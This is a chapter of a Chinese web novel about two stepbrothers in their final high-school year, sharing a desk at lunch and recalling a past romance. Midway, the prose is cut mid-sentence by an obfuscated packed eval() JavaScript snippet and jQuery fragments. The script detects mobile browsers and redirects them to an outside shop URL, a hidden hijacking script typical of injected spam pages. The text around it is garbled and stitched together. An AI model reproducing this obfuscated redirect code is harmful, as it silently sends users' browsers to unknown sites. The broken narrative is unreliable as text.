陈竟客曾经问过一个问题。
还在港城的那些日子,某个下午,齐行山枕在他腿上。
二十多岁的人贪恋他膝上的温度。和他絮絮讲着话。拖长了尾音,每一句都要像从蜜里泡出来那样。
细语闲话讲了没几句,他指尖陷入齐行山发中,轻轻捋过。
膝上人的脸埋进他小腹的衣料,话音闷闷,笑声微微发抖:
“哥,你好像在摸狗毛。”
温热呼吸隔了T恤薄薄的布料,与肌肤几乎是亲密无间,洒在哪儿,齐行山偏偏还要再蹭一蹭。
陈竟客停住手上动作,五指揉了揉。
他抛出个早就想问的问题:“行山,你喊我哥,等你回家了,你叫你哥什么?”
当初上节目时,齐行山好歹还带了他名字最末两个字,竟客哥竟客哥。
后面不知道什么时候,连名带姓就把这两个字囫囵吞枣省略了,单拎出来喊他哥。
齐家的事,陈竟客只是略有耳闻。知道他排行老二,上面有哥哥下面有妹妹,不过这么乱喊一气,真的不会叫混吗?
他没问过,齐行山偶尔接家里电话会避开他,挂了才回来,一点风声都听不到。
齐行山仰面看他,低低笑了:“喊啊,我在家里讲白话,叫他‘阿哥’。”
陈竟客逗他:“不是喊‘大佬’?”
躺在他膝上的人终于愿意动一动,眼睛弯弯,眯成了条窄缝:“哪里有这种叫法,你少看点电影吧,哥哥。”
哥哥。
今非昔比。
齐行山拉开他旁边的椅子坐下,教室里爆发出一阵欢呼,估计是谁对了新鲜答案出来。
都是高三的人,还要攥着答案紧紧不放,也就光求一个结果了。但说白了,谁不是在苦苦求一个结果。
天气渐热,齐行山却套了件校服外套,里面的扣子扣到最顶上一颗。今天戴了口罩,露出一双眼睛格外的疲惫。
深蓝色会衬得人很瘦削,白色有会显得他脸色不好。路过的同学时不时往这边瞥,在这对继兄弟身上来回打转。
陈竟客装作哥哥的大度,问他道:“你不待在高二,怎么跑过来了?”
“我不知道高二今天考试,办公室找不到老师,没人给我批假条,回不了家。”
“电话打了么,你去门卫,他们会给你放行的,假条找别的老师代签,打个电话总打得通吧。”
“别的老师不在。”
齐行山眸色闪了闪,他哥拧起俊气的眉,没有立刻反驳,言下之意却很明显:来找他有什么用。
在他哥眼里,他可以揣揣不安地走过整栋安静的教学楼;可以进预备监考的办公室没人搭理;即使路过同班同学,对方也得盯着他好几秒才想起来班上有这么一号人。
但唯独不能来找这个没有血缘的哥哥。
陈竟客没有义务为他处理这些鸡毛蒜皮的小事,齐行山刚踏进高三楼,发现一地的试卷,就隐约猜到自己选错了时候。
人还是有点侥幸的心理,不然他怎么会坐在这。
明明还没被拒绝,齐行山的一腔勇气便马上要耗尽了。陈竟客抿了唇,水红色极浅,整个人坐在日光里都清透。
但太难猜。
陈竟客不疑有他,直白问道:“来找我做什么?”
无事不登三宝殿,他们兄弟的情分,仅限于此了。
“中午班上没有我的位置,班主任开会去了,哥。”
或许齐行山十有八/九有卖可怜的嫌疑,但他的好心立刻受用的给了台阶,似乎还在迟疑要不要让出半边桌子。
“我没地方去了,想中午和你挤一挤。”
少年声音很小,似乎怕他拒绝,轻轻咳嗽了声。
陈竟客怔住。
他趴下来,给齐行山留出一半的空间。
椅子可以乱坐,走廊上踢的到处都是,桌子乱占了,等会儿还有别的人要出来午休。
校规写的明明白白,跨年级流窜会被年级主任抓到,齐行山不在乎丢脸,他这个当哥的还要脸。
体温一点点小心翼翼地凑近,两个在青春期的少年骨架都在长,挤一张小小的桌子,手脚都很难摆舒展。
这个距离,别说转身,几乎是脸对着脸,像是讨要拥抱般挨着。
陈竟客注意到他的口罩,伸手点了点他鼻梁:“不舒服,感冒还是发烧?”
齐行山心底一紧。
能凑近继兄的机会实属不多,何况是像现在这样近。陈竟客单枕着一只手,还拿指尖帮他把鼻梁的缝隙捏好。
他怕下一秒会迎面接来句:生病了就离我远点。这人会说,所以他答的含糊:“没有,可能昨晚着凉了,不是很舒服。”
陈竟客是不是在担心他。
他哥的脸压在手臂上,头上校服没盖好,半张脸没盖在阴影下,离得很近,细节看的很清楚。
指尖居然在往上移,温暖的掌心虚虚笼在他额头,暖的齐行山倏然一愣。
陈竟客摸了额头的温度,没有发烧,B88提到那什么花吐症,症状早期和发烧没什么区别。
松了口气,他收回手垫在脸下,闭上眼睛:“多喝点热水,换季容易感冒。”
随口一句关心,有些人就要开始欢欣鼓舞了。
陈竟客睫毛很缓慢地颤动,声音显然带了点倦意:“……我看你挺精神的,睡不着的话,就不要在这里占着我的桌子。”
齐行山明显消停了。
视线的存在感却有增不减,若有实质地从他眼睛扫到嘴唇,陈竟客睁眼,将罪魁祸首抓个正着。
罪魁祸首眼睛眨啊眨,给自己捏造了个理由:
“我是有点睡不着,吵到你了。”
“那闭目,养神。再睁开眼睛你就回高二午休。”
陈竟客把头扭过去,朝另一个方向睡,脸对着太阳,日光太耀眼,他不多时便转了回来。
齐行山已经闭了眼,眉毛很舒展挂着,像没有什么烦恼的样子。
他看了一会儿,便听见那个他以为睡着的人小声抱怨:“你别看我啊……”
太阳晒着,睡意翻涌的很快。
气温渐渐升高,连他支起来的一小片校服外套下都暖融融的,隔
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17909638|213085||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
离了走廊大部分噪音,又恰好能听见彼此的絮语。
陈竟客垂了眼,意识沉的越来越快。齐行山守信地没有睁眼,眼皮也阖上了,不知道有没有睡着。
他原以为自己不会睡着的。
齐行山的气息太熟悉了,还没有二十一岁时,偶尔能闻见那股他们分手前买给彼此的香水味。
还没有被彼此的痕迹沾染过。
清洌,但熟悉。
陈竟客稀里糊涂做了一堆大梦,梦里什么东西扒着他的手臂,甩也甩不开,跑着跑着怎么都出不去。
手臂麻木的快要失去知觉。
迷迷糊糊好像又回到了港城,从前人过往事草草掠过,像是要把所有的午后浓缩进一起。
醒来反而心口空落落,陈竟客缓了缓神,才从课桌上爬起来。
一睁眼,果然手臂被自己压麻了,身边人也不知道什么时候走的。木桌子散热快,一点余温没留。
……
午休没睡好,下午的考试如同灾难。
陈竟客几乎是机械地写完了数学试卷,答题卡上的字迹龙飞凤舞,前排收卷的同学默默瞟了一眼,就剩名字三个字能看。
“同学,你准考证还没涂。”
他们这边还在拖,非常幸运被监考老师抓到,陈竟客站在讲台边涂完自己的考号,又收获一耳朵唠叨。
检测到对面是高三生,所有成年人的起手式惊人的一致:从我高三讲起,分享经验,最后补上一句高考加油。
被拽到办公室多站十几分钟,加之中午便没活动开来的腰酸背痛,他出门时整个人都没什么精神。
乔尚誉等他好久,拽了人便往校门口冲:“走走走,吃晚饭吃晚饭。”
“我就不去了,考完了累。”陈竟客表情的确恹恹,乔尚誉把他一把拉到跟前,小声问:“你不去了,什么情况,晚上还有大班课,你不去吃点好的?”
火箭班的学生,大班课从高一上到高三,名字从补强改成冲刺,改不了一个事实——两个班百来号人挤在一间大阶梯教室,一上就是上到十一点半。
这个世界里掺了什么,怎么一天还没过完,他就已经力竭了。
晚自习上到九点,后半个小时对答案,老师自知压不住学生,放他们随便,班上此起彼伏闹了不少笑话。
后桌滔滔不绝抱怨自己涂错了选项,乔尚誉手下红笔改到起飞,多碎出嘴怼回去。两人你一句我一句,你考不上,我落榜,像要唱起二人转。
嘴皮子功夫不简单,旁边的女生已经笑到靠在墙边发不出一点声音。
陈竟客没忍住,也笑出了声。
等到众人怨声载道地收拾课本准备去阶梯教室,他低头捡书,意外找到张纸条。
笔迹匆匆,压在复习资料下面。
还算松快点的心情荡然无存。
乔尚誉注意到他揉皱了张纸片,往垃圾桶一扔,小纸团正中内里。
“什么东西啊,咋了啊竟客?”
陈竟客扯了扯唇角,想起纸条上的话:
哥,爸妈回来了,我们晚上一起来接你。